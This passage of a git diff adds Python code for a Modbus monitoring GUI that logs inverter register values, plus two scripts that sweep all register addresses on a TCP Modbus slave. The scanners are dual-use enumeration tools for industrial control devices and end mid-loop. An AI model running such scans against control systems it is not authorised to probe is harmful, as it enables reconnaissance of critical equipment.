+ + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) 